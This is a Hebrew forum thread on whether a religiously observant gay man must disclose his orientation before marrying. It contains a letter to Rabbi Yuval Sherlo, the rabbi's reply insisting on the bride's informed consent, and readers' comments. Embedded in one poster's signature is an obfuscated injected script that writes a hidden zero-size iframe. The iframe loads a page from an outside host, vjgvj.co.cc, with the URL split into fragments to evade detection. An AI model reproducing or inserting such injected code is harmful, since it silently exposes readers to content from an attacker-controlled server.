הנושא של הומוסקסואליות הוא נושא טעון מאד, וכבר כתבו עליו בפורום. הבעייתיות המיוחדת נובעת מכך שהומוסקסואלים טוענים שהם אנוסים בדבר, וזו תופעה טבעית - ואילו התורה אוסרת על הדבר מכל וכל, ומקצה לכך את העונשים החמורים ביותר.

הנושא כאן הוא מצומצם יותר. מה יעשה הומוסקסואל המבקש לנהל חיים נורמליים במידת האפשר, שנלחם ביצרו ומתגבר עליו. האם מותר לו לשאת אשה בלי לספר לה על סודו הכואב?

לפני זמן מה דן הרב שרלו בנושא זה. הוא הורה להומוסקסואל שביקש להינשא נישואים רגילים שעליו לשתף את הכלה לעתיד בסודו. הטעם הברור היה שהעלמת האמת תהיה הונאה. פרטים נוספים יתבארו לקמן. (מי שיודע את הלינק לתשובת הרב שרלו, אודה לו אם יפרסמנה כאן).

קיבלתי את המכתב הבא בתיבה האישית מאחד מהמבקרים בפורום. הוא ביקש לפרסם עבורו את הדברים כיון שלא רצה להזדהות בתור שכזה. עם זאת, הדברים מדברים בעד עצמם. מדובר בנושא קשה וכואב.

המכתב בנוי משני חלקים. השאלה שנכתבה אל הרב שרלו כדי לערער על פסיקתו, ותשובת הרב.

ואלו הם הדברים:

***

לכ' הרב יובל שרלו הי''ו

שלום וברכה.

כבר מספר שבועות שאני מרגיש חובה מוסרית לכתוב לכבודו.

אני בחור הומוסקסואל. לפי משפר שנים נישאתי לבחירת ליבי. ולא, לא סיפרתי לה על הנטיות שלי. ומאז, ברוך השם. אני חי חיים יהודיים מלאי טהרה וקדושה. למרות שבסודי סודות אני לא מסופק מינית. אך אני יודע שיש לי סדרי עדיפויות בחיים. ולמרות שהקדוש ברוך הוא העמיד אותי בניסיון קשה מנשוא. אני משתדל לעמוד בו מידי יום. ובעזרתו יהיה לי כוח לעמוד בו לנצח. עד לרגע זה לא סיפרתי לאשתי, (ולא, היא לא סובלת...) יתכן שביום מן הימים אספר, ויתכן שלא...

כבודו נוהג לפסוק להומואים להודיע לחברותיהן לפני האירוסים על נטיותיהם. לדעתי מדובר בפסק חמור ומוטעה. פסק שגורם לזוגות רבים להפרד, להומואים רבים לשקוע במצולות החטא, ולמשפחות רבות להתפרק עוד לפני שהתחילו את חייהם המשותפים.

באם הייתי נוהג כפי שהרב מייעץ. אין כל ספק שהייתי שקוע עד רגע זה בגיא הצלמוות של החטא. עובד על עבירות דאוריתא של יהרג ובל יעבור. מתוסכל דתית, פסיכולוגית ומינית. והכל על כתפיו של כבודו.

יתירה מכך, לפי שיטתו של הרב, על כל סטרייט דתי להודיע לארוסתו על כל הפנטזיות הימניות שיש לו. על סטיות שעלו אי פעם במוחו, ועל הרהורי עבירה שמקננים בו הנודעים לנשים אחרות או לכל עברה אחרת.

יטען כבוד הרב שהניסיון מוכיח שישנם הומואים נשואים רבים שלא הצליחו לשלוט על יצרם לאורך זמן. ואי לכך מדובר בנישואין של מקח טעות. אך לדעתי מדובר בהשקפה מעוותת, שאומנם נגועה בקרב החברה המערבית אך אין לה מקום אצל אדם הגדל על ערכים יהודיים. הרי אין ספק שגם ישנם זוגות רגילים שהתפרקו כי הבעל (או האשה) לא הצליחו לשלוט על יצריהם ובגדו, נאפו או עברו על איסורים כאלה או אחרים. האם לכן נאסור על גברים שיש להם יצר מיני פעיל להינשא, עד שיפרטו באוזני חברותיהם את רמות ההורמונים והתשוקות שלהם? אז מה ההבדל? השוני הוא שהחברה המערבית המודרנית מחלקת בין הומואים לבין שאר האוכלוסייה, וטוענת שהנטייה ההומוסקסואלית היא נטייה שלא ניתן להתגבר עליה. (ועל האדם לממש אותה) באם תזה זו נכונה, הרי הומו היוצר קשר נישואין עם נערה, נכנס מראש למסלול שאין לו סיכוי לצאת ממנו. ובמילים אחרות – מפיל אותה בפח. אך יהודי שיודע שיש איסור תורה מפורש על משכב זכר. יודע ומבין שמדובר בניסיון מהקב''ה ושעל האדם להתגבר עליו. ולמרות שמדובר בניסיון קשה. הרי אין חילוק בינו לבין שאר הניסיונות של עריות. ועל כולם יש לאדם את הכוח והעוצמה להתגבר. וכפי שאין שום לגיטימציה להתיר את הרסן ולהרים ידיים. כך אין לכבוד הרב את הזכות לבודד את הניסיון הזה, לטעון מראש שהסיכויים להתגבר עליו קטנים. ולהציב מכשלות בפני נערים שרוצים להתגבר על יצרם, וזקוקים לאישה שתעזור להם במאבק החיים שלהם.

יתירה מכך, לפי חז''ל, חלק גדול ממשמעות הנישואין והחובה להינשא, היא לשמור על אדם שלא יחטא, ולעזור במאבק מול יצר העריות. מגיע כבוד הרב וטוען שלאנשים שיש ניסיון קשה יותר מאדם רגיל, אין את הפריבילגיה להינשא ולהוריד חלק (קטן?) מקושי הניסיון.

כבודו טוען ש:

א. אין שום יסוד להניח שאחרי החתונה זה יסתדר. להפך, אני נחשף באתר זה למקרים הולכים וגוברים של מגמה הפוכה – משפחות שניבנו על בסיס הנחה זו, וזה החזיק מעמד כמה שנים, אך הן מתפרקות בכאב גדול לזוג ולילדים.

ישנם גם זוגות רבים של סטרייטים שהתפרקו מכל מיני סיבות. ולאורך ההיסטוריה היו עשרה אחוז של זוגות שאחד מהם היה הומו, ורובם המוחלט החזיק מעמד למרות הקושי הגדול .

ב. יסוד התורה על פי הלל הזקן הוא ''מה ששנוי עליך אל תעשה לחברך'', ולדברי רבי עקיבא הכלל הגדול בתורה הוא ''ואהבת לרעך כמוך''. נישואין של בחור או בחורה ללא הימשכות לבני הזוג, בתפיסה שאחר הנישואין זה יסתדר מנוגדים למהות התורה – שווה בנשפך שזה היה להפך והדבר היה נעשה כלפיך ?

זוגות שכל חייהם המשותפים מבוססים על מין נתקלים בבעיה הזו. התפיסה ההלכתית הרואה את המין כמצווה וכמעשה קדושה בין בני הזוג, יכולה לאפשר גם זיווג ללא תשוקה מטריפת חושים.

יתירה מכך, לפי טיעון זה על גבר שאשתו השמינה, הזדקנה או התכערה – להתגרש!

ג. ''מדבר שקר תרחק'' – קשה למצוא שקר גדול יותר מהתנהגות זו.

בטענה זו יש שמץ של אמת. אך אם נציב את כל השיקולים הכבדים על הכף האחרת. היא לא תכריע? והאם באמת חובה על בחור סטרייט שמתחתן עם בחורה שאינה יפיהפיה להודיע לה שהוא נמשך ליפות ממנה?

ד. על אף העובדה שאין אנו מתירים נישואין ללא גט על סמך מקח טעות בלבד, מבחינה הלכתית אמיתית קידושין אלה כלל אינם תופסים, ואין מקח טעות גדול מזה.

ראה תשובה ב'

ה. אתה לא רשאי, מבחינה מוסרית טבעית, לפתור את הבעיות של עצמך, שהן באמת קשות מנשוא, על חשבון הבחורה.

בראיה התורנית, כפי שאני רואה אותה. האשה היא עזר כנגדו. וחלק מתפקידה לעזור לגבר (ולהפך) בהתמודדות עם קשיים ונסיונות.

ו. לא ייתכן לחיות עם בן זוג עם סוד מוסתר כל כך. מהות הנישואין היא הורדת המסיכות ולא לבישתן.

כן יתכן. מדובר בבעיה אישית שביני לבין הקב''ה. ואני יכול אם רוצני בכך, והשאיר אותה בליבי. למרות שאני מסכים עם כבודו, שאם נגיע יום אחד, אני ואשתי למצב שבו אני אוכל לספר לה – הזוגיות שלנו תהיה הרבה יותר טובה.

לדעתי כבוד הרב לא יכול לקחת אחריות על פסיקה כל כך משמעותית שחיי כל כך הרבה אנשים תלויים בה. ובוודאי לא באופן ברוך וחד משמעי.

***

תשובת הרב

שלום וברכה

אני מודה לך על מכתבך, שחייב אותי לבחון מחדש את נקודות ההנחה שלי. בחנתי אותם במשך זמן רב, תוך היוועצות ודיון, ובוודאי שלמכתבך היה משקל מאוד גדול במבחן זה. באופן טבעי, מכתבך מספר סיפור אחד מני רבים שהצליח. אני פגשתי והדרכתי סיפורים מני רבים שהביאו למשבר מאוד גדול. אמת הדבר שאנו עוסקים במצבי ספק, ויהיה נכון לומר שלפעמים זה מצליח ולפעמים לא. ברם, נדרשת הכרעה במצבי ספק, וכשהיא נתבעת בוודאי שהיא פוגעת לעיתים באלה שהדברים אינם נוגעים להם. אף על פי כן, אנו נאלצים לקבל החלטות במצבים אלה.

השאלה העיקרית העומדת על הפרק היא הפגיעה בבחורה. על כן, שאלה הפנטזיות וכדו' אינן ממין העניין. השאלה היא האם מותר לגרור בחורה להרפתקאה שמבחינתה יכולה להסתיים באסון. הנושא אינו נוגע לשאלה האם הבחור יוכל לעמוד ביצרו, ולא אלו היו נימוקי. דברים שכתבת על עמידה בניסיון טובים ונכונים הם, וראויים לכל העומדים בניסיון מכל סוג שהוא. השאלה היא האם הוא יוכל להביא את אשתו לידי סיפוק. על כן, הנימוקים שהבאת בדבר יכולתו לעמוד בניסיון אינם רלוונטיים לנושא בו אני דן, על אף שהם מרשימים מאוד.

אין לאף אחד ידע על מספר המשפחות שלא החזיקו מעמד כאשר הן הוקמו על בסיס הסתרת המידע הזה, והיותה של האישה בלתי מסופקת ופגועה בשל אי ידיעתה. אני נחשפתי ליותר מידי – לא רק באתר, אלא גם בפגישות שהיו לאחר פניה באתר.

התפיסה ההלכתית הרואה את המין כמצווה וכמעשה קדושה בין בני הזוג, יכולה לאפשר גם זיווג ללא תשוקה מטריפת חושים, אך כל זה רק אם הבחורה הסכימה לכך מראש. אם לא – אין לך רשות לכפות עליה חיים שכאלה. על כן גם אין קשר לשאלת הזקינה או התכערה, כיוון שזה חלק מהברית שהם כרתו ביושר בשעה שהקימו את ביתם – לקבל מראש גם את השינויים בין בני הזוג. ברם, הם לא כרתו ברית לקבל את מה שבן הזוג הסתיר.

תפקידה של האישה לעזור לגבר ולהפך, רק בשעה שהיא קיבלה על עצמה תפקידים אלה ביודעה את הנתונים העיקריים (וכן להפך). אסור לכפות עליה.

אסיים במילים דומות לשלך. לדעתי אתה לא יכול לקחת אחריות על פסיקה כל כך משמעותית שחיי כל כך הרבה אנשים תלויים בה, ובוודאי לא באופן ברוך וחד משמעי, כאשר נקודת המבט שלך היא הגבר בלבד ויכולתו להתגבר על עצמו (דבר שהוא כמובן מבורך מאוד ומעורר התפעלות) ואתה מתעלם מבחירתה החופשית של האישה.

כל טוב, ומצא שלום.



שומר פיו ולשונו

שומר מצרות נפשו

*****

איות בכותרת

מיימוני
תודה על ההעתקה. כי האינטרנט שלי מסונן ואינו פותח את וינט. ונאי מבקש שכן יעשו בכל לינקים כאלו.

אני סבור שלפני שדנים לשלול או לחייב צריך לזכור כמה נקודות:

א. אם אין פתרונות טובים אז לפעמים יש פתרונות שהם הכי טובים שאפשר.

ב. האם תמיד מתחתנים מאהבה?

נראה שיש לחלק בין התאהבות שהיא משיכה מיידית לבין אהבה שנבנית משך השנים ויכולה לעלות - או לרדת.

ג. מי האוכלוסיה שתצטרף? יש אדם שיאמר: אני בעל בעיה זו וזו, אני מחפש פתרון בתוך ההלכה, אני מבין מה מציעים לי. לא בטוח שאוכל להעניק לאשתי מה שכל גבר מעניק לאשתו. אעשה את המכסימום. הבה נגדיר מראש מה יהיה לנו. וכך לגבי בת הזוג.

אני סבור שההצעה יכולה להיות מאד טובה למי שרואה את עצמו כמו שראיתי לפני כמה שנים בלינק של אגודה של בעלי הבעיה שגם רוצים להיות שומרי מצוות. אם הם לא רוצים להיכשל בעבירה (בלי להיכנס לשאלה אם זו עבירה ומדוע) אז זה פתרון שיכול לעבוד.

ושוב: איני דן בכפיה, וגם לא בשאלה אם יש כאן קבוצה שכופה את ערכיה על הפרט. רק בשאלה אם זה פתרון יעיל. ראו סעיף 1.

בני אדם מכילים סתירות. זו סתירה גדולה וכואבת בין מה שהטבע לכאורה אומר לבין מה שהערכים התורניים קובעים. אם אין אנו משנים את הערכים שלנו (כאן אני במחנה השולל וכבר היו דיונים על זה ולא זה הנושא כמדומה) אז זה יכול להועיל כפי שהתרשמתי. והכל תלוי באיך זה ייעשה בפועל, וגם אז צריך נסיון מעשי לראות איך זה מתקדם במשך השנים.

וכמובן צריך סודיות מוחלטת. במיוחד עבור הילדים.

אולי כרקע  נוסף: בהקשר כלשהו נודע לי על סיפור של אדם שביקש למצוא בת זוג ש"רוצה כמה שפחות" יחסי אישות. הוא בוודאי לא היה אדם בריא. לא היה ברור לי בשעתו אם הוא התפתח כך עקב תנאים משפחתיים (חוסר חום והקרנה של הסתייגות מכל מגע), נטיה אישית (לא מודעת) לצד השני (לא היה כמעט שום בסיס להנחה כזו) או גורמים אחרים שלא ידועים לי, או שהכל תרם (וכך מסתבר). לא מדובר כאן בבעיה מהסוג שמתואר באשכול ובלינקים האחרונים. כן מדובר בבעיה אישית לא קלה של אדם שמודע ברמה כלשהי לכך שלא יוכל לבנות מערכת יחסים "נורמלית" עם אשתו ומראש מחפש בת זוג שדומה לו בדרישותיה או בהעדרן.

זכורני שראיתי פעם סיפור מעניין של הבן איש חי. מעשה באב שהיו לו שלוש בנות עם מידות רעות. הוא הצליח להשיא אותן לבעלים שתנאי חייהם עקפו את הבעיות, כמו בזבזנות ועצלנות. זה לא הועיל לאשה שהיתה למודה להוציא שם רע וכמובן זה המסר החינוכי של הסיפור (לכל יש תרופה חוץ מלשון הרע). אבל לפי דרכנו אפשר היה ללמוד איך הצטייר לרב על סף התקופה המודרנית פתרון לבעיות של מידות ואישיות: למצוא מסגרת שבה הבעיה לא תבלוט.

*** תוקן ניסוח לא ברור ***

_________________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

קודם כל אני מעתיק את החומר לכאן. דברים הולכים לאיבוד לאחר זמן, אם גם אפשר לנחש את התוכן מן הדיון.

[אליס,

א. אני לא חושבת שזה פותר אף בעיה אמיתית. כאמור, רמייה עצמית ו"התחפשות" (הידועה יותר בשמה בהקשר זה - חיים בארון) הן כלי ידוע להתמודדות עם היות אדם בעל זהות שונה (וקיימות אולי מאז "הומצאו"  החיים החברתיים...). 

ב. כפי שכתבתי - אין לי בעיה עם חשיפת מוגבלותם של מוסדות, באמצעות שימוש פרדוכסלי בהם, עד כדי זילות בוטה שלהם (ובכלל זה, גם מוסד הנישואין). הערתי בעניין הייתה לגבי הרבנים המשתפים עם זה פעולה - עליהם אני תמהה. 
אולי זה פשוט עניין של טען אישי - בעיניי, אם כבר רוצים לגלות את ערוותו של מבנה מיושן שאבד עליו הכלח, למה לא לעשות זאת בסוג של הומור עצמי  ומתוך שאיפה אמיתית לתיקון העולם, כמו למשל (במקרה הספציפי הזה) - לחתן שני גברים או שתי נשים?
(נא לא לנסות ולמכור כאן את המרכולת העבשה של "זה לא הלכתי". רבנים - גם בני ימינו - הוכיחו כבר מזמן, שאם יש רצון לתקן את ההלכה מתוך עצמה, אז גם היכולת לכך מתגלה מאליה).]

א. חשבו על זה מזמן.
ב. זה פות לכל הפחות חלק מהבעיות.

אמשלום, זו אולי רמיה של מוסד הנישואין, אך מה אכפת לך?

מדובר בבודדים שלמרות מוגבלותם חשובה להם בניית תא משפחתי שידמה חיצונית ככל האפשר לתא משפחתי נורמאלי. אל נא תהי עינך צרה בם.